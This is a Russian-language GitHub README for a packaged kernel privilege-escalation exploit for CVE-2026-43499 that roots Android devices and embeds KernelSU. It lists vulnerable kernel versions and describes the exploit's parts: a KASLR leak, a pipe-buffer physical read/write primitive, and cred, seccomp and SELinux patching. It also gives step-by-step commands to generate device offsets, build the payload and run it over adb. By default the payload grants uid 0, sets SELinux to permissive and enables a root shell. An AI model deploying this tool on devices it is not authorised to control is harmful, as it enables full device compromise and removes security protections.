
На основе локального повышения привилегий через уязвимость ядра CVE-2026-43499, интегрирован встроенный KernelSU. Режим джейлбрейка CVE-2026-43499+KernelSU
# CVE-2026-43499-root-KernelSU
Адаптация локального повышения привилегий на основе уязвимости ядра CVE-2026-43499 со встроенным KernelSU. Компилируется и генерирует `preload.so`; при успешной эксплуатации KernelSU запускается в режиме `late-load` (режим джейлбрейка). Поддерживает генерацию `target.h` из `(xbl_config.img / vendor_boot.img) + boot.img` или другим способом.
Справочные проекты:
- [Linuxoid-cn/CVE-2026-43499-Poc-Analysis](https://github.com/Linuxoid-cn/CVE-2026-43499-Poc-Analysis/)
- [x-spy/CVE-2026-43499-popsicle](https://github.com/x-spy/CVE-2026-43499-popsicle)
- [Colorful-glassblock/duchamp-root](https://github.com/Colorful-glassblock/duchamp-root)
>[!IMPORTANT]
>Несанкционированная эксплуатация уязвимостей для повреждения, компрометации или получения доступа к компьютерным системам запрещена законом. Этот проект предоставляется строго для исследовательских, образовательных и учебных целей и может использоваться только в системах и средах, на которые получено предварительное разрешение. Любое использование этого проекта осуществляется на свой страх и риск пользователя. Авторы и участники не несут ответственности за любое неправомерное использование этого проекта или за любой ущерб, потери или юридические последствия, возникшие в результате его использования.
>
>Отказ от ответственности: несанкционированное использование уязвимостей для повреждения, вторжения или несанкционированного доступа к компьютерным системам может нарушать действующее законодательство. Этот проект предназначен исключительно для исследований в области безопасности, обучения и тестирования в системах и средах, на которые получено законное разрешение. Любые прямые или косвенные убытки, юридическая ответственность и другие последствия, возникшие в результате использования, неправомерного использования или модификации этого проекта, полностью ложатся на пользователя; авторы и участники проекта не несут никакой ответственности.
## Область воздействия
**Если ваша версия ядра {Linux Kernel} попадает в область воздействия данной уязвимости**
- Linux Kernel < commit **3bfdc63936dd4773109b7b8c280c0f3b5ae7d349**
- **2.6.39** <= {Linux Kernel} < **6.1.175**
- **6.2** <= {Linux Kernel} < **6.6.140**
- **6.7** <= {Linux Kernel} < **6.12.86**
- **6.13** <= {Linux Kernel} < **6.18.27**
- **6.19** <= {Linux Kernel} < **7.0.4**
## Текущий статус
| Target | Статус |
| --- | --- |
| `rodin` (по умолчанию) | Проверено |
| Другие `src/targets/*` | Справочно |
## Структура каталогов
```text
.
├── Makefile
├── build/
│ └── embed/
│ └── ksud # Встраиваемый в preload.so бинарник userspace KernelSU
├── tools/
│ ├── generate_target.py # Единая точка входа генерации target.h в этом репозитории
│ └── vendor/ # Исходные вспомогательные скрипты генерации, синхронизированные из родительского каталога
└── src/
├── main.c # Основной поток эксплойта
├── preload.c # LD_PRELOAD constructor + запись/запуск ksud
├── root.c # Патч cred/seccomp/SELinux/root
├── slide.c # Утечка KASLR slide через pselect
├── fops.c # Маршрут pselect/FOPS
├── pipe.c # Примитив физического R/W через pipe-buffer
├── ksud_blob.S # .incbin build/embed/ksud
├── kernelsnitch/ # Вспомогательные модули KernelSnitch
└── targets/
├── rodin/
├── beryl/
└── ...
```
## Сборка
### Зависимости
- Linux host
- Android NDK
- Путь по умолчанию: `~/android-ndk-r29`
- Или задайте: `ANDROID_NDK_HOME` / `ANDROID_NDK_ROOT` / `NDK_ROOT`
- `make`
- `git`
### Сборка
```bash
make PROJECT=<target> -j$(nproc)
```
Результат:
```text
build/<target>/bin/preload.so
```
### Просмотр доступных target
```bash
make list-projects
```
## Генерация target.h
В этом репозитории уже встроен единый скрипт генерации target:
```text
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
```
`tools/generate_target.py` — это входной скрипт. Он ссылается на все процессы генерации target из родительского каталога и инкапсулирует их, в итоге выводя полный `src/targets/<project>/target.h`, адаптированный под исходный код этого репозитория.
Скрипт не принудительно проверяет `CONFIG_DEBUG_INFO_BTF=y` в IKCONFIG. Если смещения полей структур или раскладка percpu `entry_task` не могут быть проверены, выводится предупреждение, и генерация продолжается.
Если в образе полностью отсутствует пригодный BTF, например, появляется:
```text
有效 vmlinux BTF 候选不唯一: []
```
Генератор переходит в режим **fallback без BTF**:
- Продолжает восстанавливать смещения символов функций/глобальных объектов из kallsyms текущего `boot.img`;
- Макросы полей структур/раскладки, которые невозможно восстановить из BTF, наследуются из шаблонного target, шаблон по умолчанию — `rodin`;
- В верхней части сгенерированного header записывается предупреждение с указанием `without BTF` и используемого шаблона;
- Такой header гарантирует максимально возможную компилируемость, но надёжность работы требует проверки на реальном устройстве.
Можно указать шаблон fallback:
```bash
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# или
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
```
#### 1. Генерация с помощью boot.img + profile JSON
```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
```
По умолчанию записывается в:
```text
src/targets/<project>/target.h
```
Также можно вызвать скрипт напрямую:
```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
```
`profile.json` должен содержать информацию о физических адресах, например:
```json
{
"p0_phys_offset": "0x40000000",
"p0_kernel_phys_load": "0x40000000"
}
```
#### 2. Определение profile с уже root-устройства через ADB
Только генерация profile:
```bash
make detect-profile PROFILE_OUT=profile.json
```
Определение profile и немедленная генерация target:
```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img \
--detect-adb-and-generate --profile-out profile.json
```
#### 3. Генерация из (xbl_config.img / vendor_boot.img) + boot.img
Скрипт также предоставляет другие точки входа, поддерживаемые генератором из родительского каталога:
```bash
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img
tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img
tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
```
##### Примеры
```bash
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
```
Пример успешного вывода:
```text
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
```
Для `rodin` по умолчанию сохраняется проверенное на реальном устройстве:
```c
#define MM_STRUCT_SZ 0x500
```
Для переопределения:
```bash
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
```
## Добавление нового target
Рекомендуется генерировать из соответствующего boot image и profile:
```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
```
Полный target header будет содержать:
- Константы direct map / физического profile
- Смещения объектов KASLR slide
- Смещения task / cred / SELinux
- Смещения pipe / fops / configfs
- Значения раскладки pselect, например, `PSELECT_WAITER_WORD_SHIFT`
- `MM_STRUCT_SZ` и значения настройки KernelSnitch
## Запуск
В текущий исходный код уже записаны значения по умолчанию, для нормальной работы достаточно установить `LD_PRELOAD` и выполнить любую программу (рекомендуется `toybox id`).
```bash
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```
## Параметры запуска по умолчанию
Текущая конфигурация по умолчанию:
| Настройка | Значение по умолчанию | Описание |
| --- | --- | --- |
| `KSUD_LATE_LOAD` | `1` | Выполняет `ksud late-load` |
| `KSUD_ALLOW_SHELL` | `1` | Передаёт `--allow-shell` |
| `KSUD_PACKAGE` | `me.weishu.kernelsu` | Имя пакета менеджера, передаваемое ksud (похоже, не действует) |
| `KSUD_DST` | `/data/local/tmp/ksud` | Путь записи встроенного ksud |
| `KSUD_SKIP_WRITE` | `0` | По умолчанию записывает встроенный ksud |
| `KSUD_DEFER_TO_PARENT` | `1` | Запускает ksud из пути уже пропатченного родительского/текущего процесса |
| `ROOT_PATCH_SELF` | `1` | Патчит текущий процесс до uid 0 |
| `DISABLE_SELINUX` | `1` | При root-патче записывает SELinux enforcing как permissive |
| `ROOT_EXIT_SLEEP` | unset / `0` | Без дополнительного sleep перед возвратом |
Фактическая команда ksud, выполняемая по умолчанию:
```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```
Эти переменные окружения по-прежнему можно переопределить во время выполнения, например:
```bash
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```
Повторное использование уже записанного `ksud`:
```bash
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```
## Очистка
```bash
make clean
```
`make clean` сохраняет `build/embed/ksud`, поскольку `src/ksud_blob.S` встраивает его следующим образом:
```asm
.incbin "build/embed/ksud"
```
Если ручная очистка привела к потере `build/embed/ksud`, его можно восстановить:
```bash
git checkout -- build/embed/ksud
```
## Часто задаваемые вопросы
### `.incbin "build/embed/ksud"` not found
Восстановите встроенный payload и пересоберите:
```bash
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
```
### Маршрут FOPS возвращает `success=0`
`rodin` ожидает legacy/simple раскладку pselect:
```text
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
```
Если состояние устройства загрязнено неудачными попытками, просто перезагрузитесь и попробуйте снова:
```bash
adb reboot
```
### `F_SETPIPE_SZ` возвращает `EPERM`
Обычно это проблема состояния, вызванная неудачными/остаточными попытками; перезагрузка — самый быстрый способ очистки:
```bash
adb reboot
```
### `ksud` запускается, но в `/proc/modules` нет KernelSU
Просмотрите журналы:
```bash
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
```
При необходимости запустите вручную из root shell:
```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```
## Лицензия
GPL-3.0. См. [`LICENSE`](https://github.com/woshimaniubi8/cve-2026-43499-root-kernelsu/blob/main/LICENSE).